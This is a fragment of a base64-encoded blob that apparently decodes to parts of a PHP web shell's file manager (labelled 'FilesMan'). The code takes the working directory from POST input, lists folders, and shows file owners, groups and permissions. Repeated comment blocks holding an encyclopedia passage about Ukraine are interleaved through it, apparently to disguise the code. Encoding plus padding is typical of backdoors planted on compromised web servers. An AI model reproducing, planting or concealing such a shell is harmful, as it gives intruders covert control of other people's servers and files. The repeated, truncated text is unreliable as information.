lhIGFuZCBvdGhlciBDSVMgY291bnRyaWVzIHdoaWxlIGFsc28gZXN0YWJsaXNoaW5nIGEgcGFydG5lcnNoaXAgd2l0aCBOQVRPIGluIDE5OTQuIEluIDIwMTMsIGFmdGVyIHRoZSBnb3Zlcm5tZW50IG9mIFByZXNpZGVudCBWaWt0b3IgWWFudWtvdnljaCBoYWQgZGVjaWRlZCB0byBzdXNwZW5kIHRoZSBVa3JhaW5lLUV1cm9wZWFuIFVuaW9uIEFzc29jaWF0aW9uIEFncmVlbWVudCBhbmQgc2VlayBjbG9zZXIgZWNvbm9taWMgdGllcyB3aXRoIFJ1c3NpYSwgYSBzZXZlcmFsLW1vbnRocy1sb25nIHdhdmUgb2YgZGVtb25zdHJhdGlvbnMgYW5kIHByb3Rlc3RzIGtub3duIGFzIHRoZSBFdXJvbWFpZGFuIGJlZ2FuLCB3aGljaCBsYXRlciBlc2NhbGF0ZWQgaW50byB0aGUgMjAxNCBVa3JhaW5pYW4gcmV2b2x1dGlvbiB0aGF0IGxlZCB0byB0aGUgb3ZlcnRocm93IG9mIFlhbnVrb3Z5Y2ggYW5kIHRoZSBlc3RhYmxpc2htZW50IG9mIGEgbmV3IGdvdmVybm1lbnQuIFRoZXNlIGV2ZW50cyBmb3JtZWQgdGhlIGJhY2tncm91bmQgZm9yIHRoZSBhbm5leGF0aW9uIG9mIENyaW1lYSBieSBSdXNzaWEgaW4gTWFyY2ggMjAxNCwgYW5kIHRoZSBXYXIgaW4gRG9uYmFzcyBpbiBBcHJpbCAyMDE0LiBPbiAxIEphbnVhcnkgMjAxNiwgVWtyYWluZSBhcHBsaWVkIHRoZSBlY29ub21pYyBjb21wb25lbnQgb2YgdGhlIERlZXAgYW5kIENvbXByZWhlbnNpdmUgRnJlZSBUcmFkZSBBcmVhIHdpdGggdGhlIEV1cm9wZWFuIFVuaW9uLlsxM10KClVrcmFpbmUgaXMgYSBkZXZlbG9waW5nIGNvdW50cnkgYW5kIHJhbmtzIDg4dGggb24gdGhlIEh1bWFuIERldmVsb3BtZW50IEluZGV4LiBBcyBvZiAyMDE4LCBVa3JhaW5lIGlzIHRoZSBwb29yZXN0IGNvdW50cnkgaW4gRXVyb3BlIGFsb25nc2lkZSBNb2xkb3ZhIGluIHRlcm1zIG9mIEdEUCBwZXIgY2FwaXRhLiBBdCBVUyQ0MCwgaXQgaGFzIHRoZSBsb3dlc3QgbWVkaWFuIHdlYWx0aCBwZXIgYWR1bHQgaW4gdGhlIHdvcmxkLFtub3RlIDFdWzE0XSBhbmQgc3VmZmVycyBmcm9tIGEgdmVyeSBoaWdoIHBvdmVydHkgcmF0ZSBhcyB3ZWxsIGFzIHNldmVyZSBjb3JydXB0aW9uLlsxNV0gSG93ZXZlciwgYmVjYXVzZSBvZiBpdHMgZXh0ZW5zaXZlIGZlcnRpbGUgZmFybWxhbmRzLCBVa3JhaW5lIGlzIG9uZSBvZiB0aGUgd29ybGQncyBsYXJnZXN0IGdyYWluIGV4cG9ydGVycy5bMTZdWzE3XSBJdCBhbHNvIG1haW50YWlucyB0aGUgc2Vjb25kLWxhcmdlc3QgbWlsaXRhcnkgaW4gRXVyb3BlIGFmdGVyIHRoYXQgb2YgUnVzc2lhLiBVa3JhaW5lIGlzIGEgdW5pdGFyeSByZXB1YmxpYyB1bmRlciBhIHNlbWktcHJlc2lkZW50aWFsIHN5c3RlbSB3aXRoIHNlcGFyYXRlIHBvd2VyczogbGVnaXNsYXRpdmUsIGV4ZWN1dGl2ZSBhbmQganVkaWNpYWwgYnJhbmNoZXMuIFRoZSBjb3VudHJ5IGlzIGEgbWVtYmVyIG9mIHRoZSBVbml0ZWQgTmF0aW9ucywgdGhlIENvdW5jaWwgb2YgRXVyb3BlLCB0aGUgT1NDRSwgdGhlIEdVQU0gb3JnYW5pemF0aW9uLCBhbmQgb25lIG9mIHRoZSBmb3VuZGluZyBzdGF0ZXMgb2YgdGhlIENvbW1vbndlYWx0aCBvZiBJbmRlcGVuZGVudCBTdGF0ZXMgKENJUykuIAoqLwoJCQkJCWZvcmVhY2goJF9TRVNTSU9OWydmJ10gYXMgJGsgPT4gJGYpCgkJCQkJCSRfU0VTU0lPTlsnZiddWyRrXSA9IHVybGRlY29kZSgkZik7CgkJCQkJJF9TRVNTSU9OWydjd2QnXSA9IEAkX1BPU1RbJ2MnXTsKCQkJCX0KCQkJCWJyZWFrOwoJCX0KCQllY2hvICc8c2NyaXB0PmRvY3VtZW50Lm1mLnAxLnZhbHVlPSIiO2RvY3VtZW50Lm1mLnAyLnZhbHVlPSIiOzwvc2NyaXB0Pic7Cgl9CgkkZGlyQ29udGVudCA9IEBzY2FuZGlyKGlzc2V0KCRfUE9TVFsnYyddKT8kX1BPU1RbJ2MnXTokR0xPQkFMU1snY3dkJ10pOwoJaWYoJGRpckNvbnRlbnQgPT09IGZhbHNlKSB7CWVjaG8gJ0NhblwndCBvcGVuIHRoaXMgZm9sZGVyISc7IHJldHVybjsJfQoJZ2xvYmFsICRzb3J0OwovKgoKVWtyYWluZSAoVWtyYWluaWFuOiDQo9C60YDQsNGX0L3QsCwgcm9tYW5pemVkOiBVa3JheWluYSwgcHJvbm91bmNlZCBbyoprcsmQy4hqaW7JkF0gKEFib3V0IHRoaXMgc291bmRsaXN0ZW4pKSwgc29tZXRpbWVzIGNhbGxlZCB0aGUgVWtyYWluZSxbN10gaXMgYSBjb3VudHJ5IGluIEVhc3Rlcm4gRXVyb3BlLls4XSBFeGNsdWRpbmcgQ3JpbWVhLCBVa3JhaW5lIGhhcyBhIHBvcHVsYXRpb24gb2YgYWJvdXQgNDIgbWlsbGlvbixbMl0gbWFraW5nIGl0IHRoZSAzMm5kIG1vc3QgcG9wdWxvdXMgY291bnRyeSBpbiB0aGUgd29ybGQuIEl0cyBjYXBpdGFsIGFuZCBsYXJnZXN0IGNpdHkgaXMgS2lldi4gVWtyYWluaWFuIGlzIHRoZSBvZmZpY2lhbCBsYW5ndWFnZSBhbmQgaXRzIGFscGhhYmV0IGlzIEN5cmlsbGljLiBUaGUgZG9taW5hbnQgcmVsaWdpb24gaW4gdGhlIGNvdW50cnkgaXMgRWFzdGVybiBPcnRob2RveHkuIFVrcmFpbmUgaXMgY3VycmVudGx5IGluIGEgdGVycml0b3JpYWwgZGlzcHV0ZSB3aXRoIFJ1c3NpYSBvdmVyIHRoZSBDcmltZWFuIFBlbmluc3VsYSwgd2hpY2ggUnVzc2lhIGFubmV4ZWQgaW4gMjAxNC5bOV0gSW5jbHVkaW5nIENyaW1lYSwgVWtyYWluZSBoYXMgYW4gYXJlYSBvZiA2MDMsNjI4IGttMiAoMjMzLDA2MiBzcSBtaSksWzEwXSBtYWtpbmcgaXQgdGhlIGxhcmdlc3QgY291bnRyeSBlbnRpcmVseSB3aXRoaW4gRXVyb3BlIGFuZCB0aGUgNDZ0aCBsYXJnZXN0IGNvdW50cnkgaW4gdGhlIHdvcmxkLgoKVGhlIHRlcnJpdG9yeSBvZiBtb2Rlcm4gVWtyYWluZSBoYXMgYmVlbiBpbmhhYml0ZWQgc2luY2UgMzIsMDAwIEJDLiBEdXJpbmcgdGhlIE1pZGRsZSBBZ2VzLCB0aGUgYXJlYSB3YXMgYSBrZXkgY2VudHJlIG9mIEVhc3QgU2xhdmljIGN1bHR1cmUsIHdpdGggdGhlIHBvd2VyZnVsIHN0YXRlIG9mIEtpZXZhbiBSdXMnIGZvcm1pbmcgdGhlIGJhc2lzIG9mIFVrcmFpbmlhbiBpZGVudGl0eS4gRm9sbG93aW5nIGl0cyBmcmFnbWVudGF0aW9uIGluIHRoZSAxM3RoIGNlbnR1cnksIHRoZSB0ZXJyaXRvcnkgd2FzIGNvbnRlc3RlZCwgcnVsZWQgYW5kIGRpdmlkZWQgYnkgYSB2YXJpZXR5IG9mIHBvd2VycywgaW5jbHVkaW5nIExpdGh1YW5pYSwgUG9sYW5kLCBBdXN0cmlhLUh1bmdhcnksIHRoZSBPdHRvbWFuIEVtcGlyZSBhbmQgUnVzc2lhLiBBIENvc3NhY2sgcmVwdWJsaWMgZW1lcmdlZCBhbmQgcHJvc3BlcmVkIGR1cmluZyB0aGUgMTd0aCBhbmQgMTh0aCBjZW50dXJpZXMsIGJ1dCBpdHMgdGVycml0b3J5IHdhcyBldmVudHVhbGx5IHNwbGl0IGJldHdlZW4gUG9sYW5kIGFuZCB0aGUgUnVzc2lhbiBFbXBpcmUsIGFuZCBmaW5hbGx5IG1lcmdlZCBmdWxseSBpbnRvIHRoZSBSdXNzaWFuLWRvbWluYXRlZCBTb3ZpZXQgVW5pb24gaW4gdGhlIGxhdGUgMTk0MHMgYXMgdGhlIFVrcmFpbmlhbiBTb3ZpZXQgU29jaWFsaXN0IFJlcHVibGljLiBJbiAxOTkxLCBVa3JhaW5lIGdhaW5lZCBpdHMgaW5kZXBlbmRlbmNlIGZyb20gdGhlIFNvdmlldCBVbmlvbiBpbiB0aGUgYWZ0ZXJtYXRoIG9mIGl0cyBkaXNzb2x1dGlvbiBhdCB0aGUgZW5kIG9mIHRoZSBDb2xkIFdhci4gQmVmb3JlIGl0cyBpbmRlcGVuZGVuY2UsIFVrcmFpbmUgd2FzIHR5cGljYWxseSByZWZlcnJlZCB0byBpbiBFbmdsaXNoIGFzICJUaGUgVWtyYWluZSIsIGJ1dCBtb3N0IHNvdXJjZXMgaGF2ZSBzaW5jZSBtb3ZlZCB0byBkcm9wICJ0aGUiIGZyb20gdGhlIG5hbWUgb2YgVWtyYWluZSBpbiBhbGwgdXNlcy5bMTFdCgpGb2xsb3dpbmcgaXRzIGluZGVwZW5kZW5jZSwgVWtyYWluZSBkZWNsYXJlZCBpdHNlbGYgYSBuZXV0cmFsIHN0YXRlO1sxMl0gaXQgZm9ybWVkIGEgbGltaXRlZCBtaWxpdGFyeSBwYXJ0bmVyc2hpcCB3aXRoIFJ1c3NpYSBhbmQgb3RoZXIgQ0lTIGNvdW50cmllcyB3aGlsZSBhbHNvIGVzdGFibGlzaGluZyBhIHBhcnRuZXJzaGlwIHdpdGggTkFUTyBpbiAxOTk0LiBJbiAyMDEzLCBhZnRlciB0aGUgZ292ZXJubWVudCBvZiBQcmVzaWRlbnQgVmlrdG9yIFlhbnVrb3Z5Y2ggaGFkIGRlY2lkZWQgdG8gc3VzcGVuZCB0aGUgVWtyYWluZS1FdXJvcGVhbiBVbmlvbiBBc3NvY2lhdGlvbiBBZ3JlZW1lbnQgYW5kIHNlZWsgY2xvc2VyIGVjb25vbWljIHRpZXMgd2l0aCBSdXNzaWEsIGEgc2V2ZXJhbC1tb250aHMtbG9uZyB3YXZlIG9mIGRlbW9uc3RyYXRpb25zIGFuZCBwcm90ZXN0cyBrbm93biBhcyB0aGUgRXVyb21haWRhbiBiZWdhbiwgd2hpY2ggbGF0ZXIgZXNjYWxhdGVkIGludG8gdGhlIDIwMTQgVWtyYWluaWFuIHJldm9sdXRpb24gdGhhdCBsZWQgdG8gdGhlIG92ZXJ0aHJvdyBvZiBZYW51a292eWNoIGFuZCB0aGUgZXN0YWJsaXNobWVudCBvZiBhIG5ldyBnb3Zlcm5tZW50LiBUaGVzZSBldmVudHMgZm9ybWVkIHRoZSBiYWNrZ3JvdW5kIGZvciB0aGUgYW5uZXhhdGlvbiBvZiBDcmltZWEgYnkgUnVzc2lhIGluIE1hcmNoIDIwMTQsIGFuZCB0aGUgV2FyIGluIERvbmJhc3MgaW4gQXByaWwgMjAxNC4gT24gMSBKYW51YXJ5IDIwMTYsIFVrcmFpbmUgYXBwbGllZCB0aGUgZWNvbm9taWMgY29tcG9uZW50IG9mIHRoZSBEZWVwIGFuZCBDb21wcmVoZW5zaXZlIEZyZWUgVHJhZGUgQXJlYSB3aXRoIHRoZSBFdXJvcGVhbiBVbmlvbi5bMTNdCgpVa3JhaW5lIGlzIGEgZGV2ZWxvcGluZyBjb3VudHJ5IGFuZCByYW5rcyA4OHRoIG9uIHRoZSBIdW1hbiBEZXZlbG9wbWVudCBJbmRleC4gQXMgb2YgMjAxOCwgVWtyYWluZSBpcyB0aGUgcG9vcmVzdCBjb3VudHJ5IGluIEV1cm9wZSBhbG9uZ3NpZGUgTW9sZG92YSBpbiB0ZXJtcyBvZiBHRFAgcGVyIGNhcGl0YS4gQXQgVVMkNDAsIGl0IGhhcyB0aGUgbG93ZXN0IG1lZGlhbiB3ZWFsdGggcGVyIGFkdWx0IGluIHRoZSB3b3JsZCxbbm90ZSAxXVsxNF0gYW5kIHN1ZmZlcnMgZnJvbSBhIHZlcnkgaGlnaCBwb3ZlcnR5IHJhdGUgYXMgd2VsbCBhcyBzZXZlcmUgY29ycnVwdGlvbi5bMTVdIEhvd2V2ZXIsIGJlY2F1c2Ugb2YgaXRzIGV4dGVuc2l2ZSBmZXJ0aWxlIGZhcm1sYW5kcywgVWtyYWluZSBpcyBvbmUgb2YgdGhlIHdvcmxkJ3MgbGFyZ2VzdCBncmFpbiBleHBvcnRlcnMuWzE2XVsxN10gSXQgYWxzbyBtYWludGFpbnMgdGhlIHNlY29uZC1sYXJnZXN0IG1pbGl0YXJ5IGluIEV1cm9wZSBhZnRlciB0aGF0IG9mIFJ1c3NpYS4gVWtyYWluZSBpcyBhIHVuaXRhcnkgcmVwdWJsaWMgdW5kZXIgYSBzZW1pLXByZXNpZGVudGlhbCBzeXN0ZW0gd2l0aCBzZXBhcmF0ZSBwb3dlcnM6IGxlZ2lzbGF0aXZlLCBleGVjdXRpdmUgYW5kIGp1ZGljaWFsIGJyYW5jaGVzLiBUaGUgY291bnRyeSBpcyBhIG1lbWJlciBvZiB0aGUgVW5pdGVkIE5hdGlvbnMsIHRoZSBDb3VuY2lsIG9mIEV1cm9wZSwgdGhlIE9TQ0UsIHRoZSBHVUFNIG9yZ2FuaXphdGlvbiwgYW5kIG9uZSBvZiB0aGUgZm91bmRpbmcgc3RhdGVzIG9mIHRoZSBDb21tb253ZWFsdGggb2YgSW5kZXBlbmRlbnQgU3RhdGVzIChDSVMpLiAKKi8KCSRzb3J0ID0gYXJyYXkoJ25hbWUnLCAxKTsKCWlmKCFlbXB0eSgkX1BPU1RbJ3AxJ10pKSB7CgkJaWYocHJlZ19tYXRjaCgnIXNfKFtBLXpdKylfKFxkezF9KSEnLCAkX1BPU1RbJ3AxJ10sICRtYXRjaCkpCgkJCSRzb3J0ID0gYXJyYXkoJG1hdGNoWzFdLCAoaW50KSRtYXRjaFsyXSk7Cgl9Cj8+CjxzY3JpcHQ+CglmdW5jdGlvbiBzYSgpIHsKCQlmb3IoaT0wO2k8ZG9jdW1lbnQuZmlsZXMuZWxlbWVudHMubGVuZ3RoO2krKykKCQkJaWYoZG9jdW1lbnQuZmlsZXMuZWxlbWVudHNbaV0udHlwZSA9PSAnY2hlY2tib3gnKQoJCQkJZG9jdW1lbnQuZmlsZXMuZWxlbWVudHNbaV0uY2hlY2tlZCA9IGRvY3VtZW50LmZpbGVzLmVsZW1lbnRzWzBdLmNoZWNrZWQ7Cgl9Cjwvc2NyaXB0Pgo8dGFibGUgd2lkdGg9JzEwMCUnIGNsYXNzPSdtYWluJyBjZWxsc3BhY2luZz0nMCcgY2VsbHBhZGRpbmc9JzInPgo8Zm9ybSBuYW1lPWZpbGVzIG1ldGhvZD1wb3N0Pgo8P3BocAoJZWNobyAiPHRyPjx0aCB3aWR0aD0nMTNweCc+PGlucHV0IHR5cGU9Y2hlY2tib3ggb25jbGljaz0nc2EoKScgY2xhc3M9Y2hrYng+PC90aD48dGg+PGEgaHJlZj0nIycgb25jbGljaz0nZyhcIkZpbGVzTWFuXCIsbnVsbCxcInNfbmFtZV8iLigkc29ydFsxXT8wOjEpLiJcIiknPk5hbWU8L2E+PC90aD48dGg+PGEgaHJlZj0nIycgb25jbGljaz0nZyhcIkZpbGVzTWFuXCIsbnVsbCxcInNfc2l6ZV8iLigkc29ydFsxXT8wOjEpLiJcIiknPlNpemU8L2E+PC90aD48dGg+PGEgaHJlZj0nIycgb25jbGljaz0nZyhcIkZpbGVzTWFuXCIsbnVsbCxcInNfbW9kaWZ5XyIuKCRzb3J0WzFdPzA6MSkuIlwiKSc+TW9kaWZ5PC9hPjwvdGg+PHRoPk93bmVyL0dyb3VwPC90aD48dGg+PGEgaHJlZj0nIycgb25jbGljaz0nZyhcIkZpbGVzTWFuXCIsbnVsbCxcInNfcGVybXNfIi4oJHNvcnRbMV0/MDoxKS4iXCIpJz5QZXJtaXNzaW9uczwvYT48L3RoPjx0aD5BY3Rpb25zPC90aD48L3RyPiI7CgkkZGlycyA9ICRmaWxlcyA9ICRsaW5rcyA9IGFycmF5KCk7CgkkbiA9IGNvdW50KCRkaXJDb250ZW50KTsKCWZvcigkaT0wOyRpPCRuOyRpKyspIHsKLyoKClVrcmFpbmUgKFVrcmFpbmlhbjog0KPQutGA0LDRl9C90LAsIHJvbWFuaXplZDogVWtyYXlpbmEsIHByb25vdW5jZWQgW8qKa3LJkMuIamluyZBdIChBYm91dCB0aGlzIHNvdW5kbGlzdGVuKSksIHNvbWV0aW1lcyBjYWxsZWQgdGhlIFVrcmFpbmUsWzddIGlzIGEgY291bnRyeSBpbiBFYXN0ZXJuIEV1cm9wZS5bOF0gRXhjbHVkaW5nIENyaW1lYSwgVWtyYWluZSBoYXMgYSBwb3B1bGF0aW9uIG9mIGFib3V0IDQyIG1pbGxpb24sWzJdIG1ha2luZyBpdCB0aGUgMzJuZCBtb3N0IHBvcHVsb3VzIGNvdW50cnkgaW4gdGhlIHdvcmxkLiBJdHMgY2FwaXRhbCBhbmQgbGFyZ2VzdCBjaXR5IGlzIEtpZXYuIFVrcmFpbmlhbiBpcyB0aGUgb2ZmaWNpYWwgbGFuZ3VhZ2UgYW5kIGl0cyBhbHBoYWJldCBpcyBDeXJpbGxpYy4gVGhlIGRvbWluYW50IHJlbGlnaW9uIGluIHRoZSBjb3VudHJ5IGlzIEVhc3Rlcm4gT3J0aG9kb3h5LiBVa3JhaW5lIGlzIGN1cnJlbnRseSBpbiBhIHRlcnJpdG9yaWFsIGRpc3B1dGUgd2l0aCBSdXNzaWEgb3ZlciB0aGUgQ3JpbWVhbiBQZW5pbnN1bGEsIHdoaWNoIFJ1c3NpYSBhbm5leGVkIGluIDIwMTQuWzldIEluY2x1ZGluZyBDcmltZWEsIFVrcmFpbmUgaGFzIGFuIGFyZWEgb2YgNjAzLDYyOCBrbTIgKDIzMywwNjIgc3EgbWkpLFsxMF0gbWFraW5nIGl0IHRoZSBsYXJnZXN0IGNvdW50cnkgZW50aXJlbHkgd2l0aGluIEV1cm9wZSBhbmQgdGhlIDQ2dGggbGFyZ2VzdCBjb3VudHJ5IGluIHRoZSB3b3JsZC4KClRoZSB0ZXJyaXRvcnkgb2YgbW9kZXJuIFVrcmFpbmUgaGFzIGJlZW4gaW5oYWJpdGVkIHNpbmNlIDMyLDAwMCBCQy4gRHVyaW5nIHRoZSBNaWRkbGUgQWdlcywgdGhlIGFyZWEgd2FzIGEga2V5IGNlbnRyZSBvZiBFYXN0IFNsYXZpYyBjdWx0dXJlLCB3aXRoIHRoZSBwb3dlcmZ1bCBzdGF0ZSBvZiBLaWV2YW4gUnVzJyBmb3JtaW5nIHRoZSBiYXNpcyBvZiBVa3JhaW5pYW4gaWRlbnRpdHkuIEZvbGxvd2luZyBpdHMgZnJhZ21lbnRhdGlvbiBpbiB0aGUgMTN0aCBjZW50dXJ5LCB0aGUgdGVycml0b3J5IHdhcyBjb250ZXN0ZWQsIHJ1bGVkIGFuZCBkaXZpZGVkIGJ5IGEgdmFyaWV0eSBvZiBwb3dlcnMsIGluY2x1ZGluZyBMaXRodWFuaWEsIFBvbGFuZCwgQXVzdHJpYS1IdW5nYXJ5LCB0aGUgT3R0b21hbiBFbXBpcmUgYW5kIFJ1c3NpYS4gQSBDb3NzYWNrIHJlcHVibGljIGVtZXJnZWQgYW5kIHByb3NwZXJlZCBkdXJpbmcgdGhlIDE3dGggYW5kIDE4dGggY2VudHVyaWVzLCBidXQgaXRzIHRlcnJpdG9yeSB3YXMgZXZlbnR1YWxseSBzcGxpdCBiZXR3ZWVuIFBvbGFuZCBhbmQgdGhlIFJ1c3NpYW4gRW1waXJlLCBhbmQgZmluYWxseSBtZXJnZWQgZnVsbHkgaW50byB0aGUgUnVzc2lhbi1kb21pbmF0ZWQgU292aWV0IFVuaW9uIGluIHRoZSBsYXRlIDE5NDBzIGFzIHRoZSBVa3JhaW5pYW4gU292aWV0IFNvY2lhbGlzdCBSZXB1YmxpYy4gSW4gMTk5MSwgVWtyYWluZSBnYWluZWQgaXRzIGluZGVwZW5kZW5jZSBmcm9tIHRoZSBTb3ZpZXQgVW5pb24gaW4gdGhlIGFmdGVybWF0aCBvZiBpdHMgZGlzc29sdXRpb24gYXQgdGhlIGVuZCBvZiB0aGUgQ29sZCBXYXIuIEJlZm9yZSBpdHMgaW5kZXBlbmRlbmNlLCBVa3JhaW5lIHdhcyB0eXBpY2FsbHkgcmVmZXJyZWQgdG8gaW4gRW5nbGlzaCBhcyAiVGhlIFVrcmFpbmUiLCBidXQgbW9zdCBzb3VyY2VzIGhhdmUgc2luY2UgbW92ZWQgdG8gZHJvcCAidGhlIiBmcm9tIHRoZSBuYW1lIG9mIFVrcmFpbmUgaW4gYWxsIHVzZXMuWzExXQoKRm9sbG93aW5nIGl0cyBpbmRlcGVuZGVuY2UsIFVrcmFpbmUgZGVjbGFyZWQgaXRzZWxmIGEgbmV1dHJhbCBzdGF0ZTtbMTJdIGl0IGZvcm1lZCBhIGxpbWl0ZWQgbWlsaXRhcnkgcGFydG5lcnNoaXAgd2l0aCBSdXNzaWEgYW5kIG90aGVyIENJUyBjb3VudHJpZXMgd2hpbGUgYWxzbyBlc3RhYmxpc2hpbmcgYSBwYXJ0bmVyc2hpcCB3aXRoIE5BVE8gaW4gMTk5NC4gSW4gMjAxMywgYWZ0ZXIgdGhlIGdvdmVybm1lbnQgb2YgUHJlc2lkZW50IFZpa3RvciBZYW51a292eWNoIGhhZCBkZWNpZGVkIHRvIHN1c3BlbmQgdGhlIFVrcmFpbmUtRXVyb3BlYW4gVW5pb24gQXNzb2NpYXRpb24gQWdyZWVtZW50IGFuZCBzZWVrIGNsb3NlciBlY29ub21pYyB0aWVzIHdpdGggUnVzc2lhLCBhIHNldmVyYWwtbW9udGhzLWxvbmcgd2F2ZSBvZiBkZW1vbnN0cmF0aW9ucyBhbmQgcHJvdGVzdHMga25vd24gYXMgdGhlIEV1cm9tYWlkYW4gYmVnYW4sIHdoaWNoIGxhdGVyIGVzY2FsYXRlZCBpbnRvIHRoZSAyMDE0IFVrcmFpbmlhbiByZXZvbHV0aW9uIHRoYXQgbGVkIHRvIHRoZSBvdmVydGhyb3cgb2YgWWFudWtvdnljaCBhbmQgdGhlIGVzdGFibGlzaG1lbnQgb2YgYSBuZXcgZ292ZXJubWVudC4gVGhlc2UgZXZlbnRzIGZvcm1lZCB0aGUgYmFja2dyb3VuZCBmb3IgdGhlIGFubmV4YXRpb24gb2YgQ3JpbWVhIGJ5IFJ1c3NpYSBpbiBNYXJjaCAyMDE0LCBhbmQgdGhlIFdhciBpbiBEb25iYXNzIGluIEFwcmlsIDIwMTQuIE9uIDEgSmFudWFyeSAyMDE2LCBVa3JhaW5lIGFwcGxpZWQgdGhlIGVjb25vbWljIGNvbXBvbmVudCBvZiB0aGUgRGVlcCBhbmQgQ29tcHJlaGVuc2l2ZSBGcmVlIFRyYWRlIEFyZWEgd2l0aCB0aGUgRXVyb3BlYW4gVW5pb24uWzEzXQoKVWtyYWluZSBpcyBhIGRldmVsb3BpbmcgY291bnRyeSBhbmQgcmFua3MgODh0aCBvbiB0aGUgSHVtYW4gRGV2ZWxvcG1lbnQgSW5kZXguIEFzIG9mIDIwMTgsIFVrcmFpbmUgaXMgdGhlIHBvb3Jlc3QgY291bnRyeSBpbiBFdXJvcGUgYWxvbmdzaWRlIE1vbGRvdmEgaW4gdGVybXMgb2YgR0RQIHBlciBjYXBpdGEuIEF0IFVTJDQwLCBpdCBoYXMgdGhlIGxvd2VzdCBtZWRpYW4gd2VhbHRoIHBlciBhZHVsdCBpbiB0aGUgd29ybGQsW25vdGUgMV1bMTRdIGFuZCBzdWZmZXJzIGZyb20gYSB2ZXJ5IGhpZ2ggcG92ZXJ0eSByYXRlIGFzIHdlbGwgYXMgc2V2ZXJlIGNvcnJ1cHRpb24uWzE1XSBIb3dldmVyLCBiZWNhdXNlIG9mIGl0cyBleHRlbnNpdmUgZmVydGlsZSBmYXJtbGFuZHMsIFVrcmFpbmUgaXMgb25lIG9mIHRoZSB3b3JsZCdzIGxhcmdlc3QgZ3JhaW4gZXhwb3J0ZXJzLlsxNl1bMTddIEl0IGFsc28gbWFpbnRhaW5zIHRoZSBzZWNvbmQtbGFyZ2VzdCBtaWxpdGFyeSBpbiBFdXJvcGUgYWZ0ZXIgdGhhdCBvZiBSdXNzaWEuIFVrcmFpbmUgaXMgYSB1bml0YXJ5IHJlcHVibGljIHVuZGVyIGEgc2VtaS1wcmVzaWRlbnRpYWwgc3lzdGVtIHdpdGggc2VwYXJhdGUgcG93ZXJzOiBsZWdpc2xhdGl2ZSwgZXhlY3V0aXZlIGFuZCBqdWRpY2lhbCBicmFuY2hlcy4gVGhlIGNvdW50cnkgaXMgYSBtZW1iZXIgb2YgdGhlIFVuaXRlZCBOYXRpb25zLCB0aGUgQ291bmNpbCBvZiBFdXJvcGUsIHRoZSBPU0NFLCB0aGUgR1VBTSBvcmdhbml6YXRpb24sIGFuZCBvbmUgb2YgdGhlIGZvdW5kaW5nIHN0YXRlcyBvZiB0aGUgQ29tbW9ud2VhbHRoIG9mIEluZGVwZW5kZW50IFN0YXRlcyAoQ0lTKS4gCiovCgkJJG93ID0gQHBvc2l4X2dldHB3dWlkKEBmaWxlb3duZXIoJGRpckNvbnRlbnRbJGldKSk7CgkJJGdyID0gQHBvc2l4X2dldGdyZ2lkKEBmaWxlZ3JvdXAoJGRpckNvbnRlbnRbJGldKSk7CgkJJHRtcCA9IGFycmF5KCduYW1lJyA9PiAkZGlyQ29udGVudFskaV0sCgkJCQkJICdwYXRoJyA9PiAkR0xPQkFMU1snY3dkJ10uJGRpckNvbnRlbnRbJGldLAoJCQkJCSAnbW9kaWZ5JyA9PiBkYXRlKCdZLW0tZCBIOmk6cycsQGZpbGVtdGltZSgkR0xPQkFMU1snY3dkJ10uJGRpckNvbnRlbnRbJGldKSksCgkJCQkJICdwZXJtcycgPT4gdmlld1Blcm1zQ29sb3IoJEdMT0JBTFNbJ2N3ZCddLiRkaXJDb250ZW50WyRpXSksCgkJCQkJICdzaXplJyA9PiBAZmlsZXNpemUoJEdMT0JBTFNbJ2N3ZCddLiRkaXJDb250ZW50WyRpXSksCgkJCQkJICdvd25lcicgPT4gJG93WyduYW1lJ10/JG93WyduYW1lJ106QGZpbGVvd25lcigkZGlyQ29udGVudFskaV0pLAoJCQkJCSAnZ3JvdXAnID0+ICRnclsnbmFtZSddPyRnclsnbmFtZSddOkBmaWxlZ3JvdXAoJGRpckNvbnRlbnRbJGldKQovKgoKVWtyYWluZSAoVWtyYWluaWFuOiDQo9C60YDQsNGX0L3QsCwgcm9tYW5pemVkOiBVa3JheWluYSwgcHJvbm91bmNlZCBbyoprcsmQy4hqaW7JkF0gKEFib3V0IHRoaXMgc291bmRsaXN0ZW4pKSwgc29tZXRpbWVzIGNhbGxlZCB0aGUgVWtyYWluZSxbN10gaXMgYSBjb3VudHJ5IGluIEVhc3Rlcm4gRXVyb3BlLls4XSBFeGNsdWRpbmcgQ3JpbWVhLCBVa3JhaW5lIGhhcyBhIHBvcHVsYXRpb24gb2YgYWJvdXQgNDIgbWlsbGlvbixbMl0gbWFraW5nIGl0IHRoZSAzMm5kIG1vc3QgcG9wdWxvdXMgY291bnRyeSBpbiB0aGUgd29ybGQuIEl0cyBjYXBpdGFsIGFuZCBsYXJnZXN0IGNpdHkgaXMgS2lldi4gVWtyYWluaWFuIGlzIHRoZSBvZmZpY2lhbCBsYW5ndWFnZSBhbmQgaXRzIGFscGhhYmV0IGlzIEN5cmlsbGljLiBUaGUgZG9taW5hbnQgcmVsaWdpb24gaW4gdGhlIGNvdW50cnkgaXMgRWFzdGVybiBPcnRob2RveHkuIFVrcmFpbmUgaXMgY3VycmVudGx5IGluIGEgdGVycml0b3JpYWwgZGlzcHV0ZSB3aXRoIFJ1c3NpYSBvdmVyIHRoZSBDcmltZWFuIFBlbmluc3VsYSwgd2hpY2ggUnVzc2lhIGFubmV4ZWQgaW4gMjAxNC5bOV0gSW5jbHVkaW5nIENyaW1lYSwgVWtyYWluZSBoYXMgYW4gYXJlYSBvZiA2MDMsNjI4IGttMiAoMjMzLDA2MiBzcSBtaSksWzEwXSBtYWtpbmcgaXQgdGhlIGxhcmdlc3QgY291bnRyeSBlbnRpcmVseSB3aXRoaW4gRXVyb3BlIGFuZCB0aGUgNDZ0aCBsYXJnZXN0IGNvdW50cnkgaW4gdGhlIHdvcmxkLgoKVGhlIHRlcnJpdG9yeSBvZiBtb2Rlcm4gVWtyYWluZSBoYXMgYmVlbiBpbmhhYml0ZWQgc2luY2UgMzIsMDAwIEJDLiBEdXJpbmcgdGhlIE1pZGRsZSBBZ2VzLCB0aGUgYXJlYSB3YXMgYSBrZXkgY2VudHJlIG9mIEVhc3QgU2xhdmljIGN1bHR1cmUsIHdpdGggdGhlIHBvd2VyZnVsIHN0YXRlIG9mIEtpZXZhbiBSdXMnIGZvcm1pbmcgdGhlIGJhc2lzIG9mIFVrcmFpbmlhbiBpZGVudGl0eS4gRm9sbG93aW5nIGl0cyBmcmFnbWVudGF0aW9uIGluIHRoZSAxM3RoIGNlbnR1cnksIHRoZSB0ZXJyaXRvcnkgd2FzIGNvbnRlc3R